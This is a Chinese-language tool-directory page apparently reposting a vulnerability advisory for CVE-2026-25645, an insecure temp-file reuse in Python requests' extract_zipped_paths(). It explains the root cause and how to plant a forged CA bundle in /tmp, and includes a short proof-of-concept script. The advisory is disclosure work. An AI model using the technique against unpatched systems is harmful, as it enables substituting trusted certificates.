Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-25645 — 在 extract_zipped_paths() 中不安全地重用临时文件 | Kitploit
工具/GitHubGitHub/jaycelation/cve-2026-25645
静态分析漏洞分析漏洞利用Web安全论文与研究
GitHubjaycelation/cve-2026-25645

CVE-2026-25645

在 extract_zipped_paths() 中不安全地重用临时文件

查看仓库
6个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

[CVE-2026-25645] requests.utils.extract_zipped_paths() 中的不安全临时文件重用

执行摘要

在 requests 库(Python)的公共实用函数 requests.utils.extract_zipped_paths() 中发现了一个漏洞。该函数在尝试将文件提取到系统临时目录(/tmp)时使用了可预测的、非唯一的文件名,并且未能验证已存在文件的完整性或所有权。

虽然 requests 与 certifi 结合的默认行为通过 importlib.resources 得到了缓解,但对于依赖该实用程序处理压缩资源的下游应用程序或自定义实现而言,这仍然是一个安全隐患。

漏洞信息

  • CVE ID:CVE-2026-25645
  • CWE:CWE-377(不安全的临时文件)
  • 严重性:中等(5.0)
  • CVSS 向量:CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
  • 受影响版本:< 2.33.0

CVSS v3 基础指标:

  • 攻击向量:本地
  • 攻击复杂度:低
  • 所需权限:低
  • 用户交互:必需
  • 范围:不变
  • 机密性:无
  • 完整性:高
  • 可用性:无

技术分析

机制

函数 requests.utils.extract_zipped_paths() 旨在从 zip 归档中提取成员(通常用于 zipapp 环境中的 CA 证书包)。存在漏洞的逻辑遵循以下步骤:

  1. 可预测的目标:它将系统临时目录与 zip 成员的 basename 拼接(例如 /tmp/cacert.pem)。
  2. 不安全的检查:它使用 if not os.path.exists(extracted_path) 来决定是否提取文件。
  3. 路径返回:如果文件存在,它会立即返回该路径,而不确保该文件是由当前进程创建的,也不检查其内容。

根本原因分析

在 requests/utils.py 中,逻辑实现如下:

root@kitploit:~
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1]) 

# Insecure reuse of existing file
if not os.path.exists(extracted_path):
    # Extraction logic only triggers if file is missing
    ... 

# Returns path to potentially attacker-controlled file
return extracted_path

影响与利用

具有低权限的本地攻击者可以通过在 /tmp 中可预测的路径上预先创建恶意文件(例如伪造的 CA 证书包)来利用此漏洞。当受害者(需要用户交互)运行调用此实用程序的应用程序时:

  1. 该实用程序发现文件已存在。
  2. 该实用程序跳过提取并返回指向恶意文件的路径。
  3. 受害者应用程序加载攻击者的数据,导致高完整性受损(例如加载伪造的信任存储)。

概念验证(独立)

以下脚本通过展示该实用程序如何重用预先存在的“伪造”文件而非归档中的合法文件来演示该漏洞。

root@kitploit:~
import os
import tempfile
import zipfile
from requests import utils

# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
    f.write(b"ATTACKER_MALICIOUS_DATA")

# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
    z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")

# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)

# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
    content = f.read()
    print(f"[i] Content read: {content}")

if content == b"ATTACKER_MALICIOUS_DATA":
    print("[!] Vulnerability Confirmed: Insecure file reuse successful.")

修复

该问题已在 2.33.0 版本中解决。修复方案涉及过渡到 importlib.resources 以更安全地处理压缩资源,确保提取发生在随机的、不可预测的目录中,并避免重用共享的全局可写目录中的现有文件。

下载工具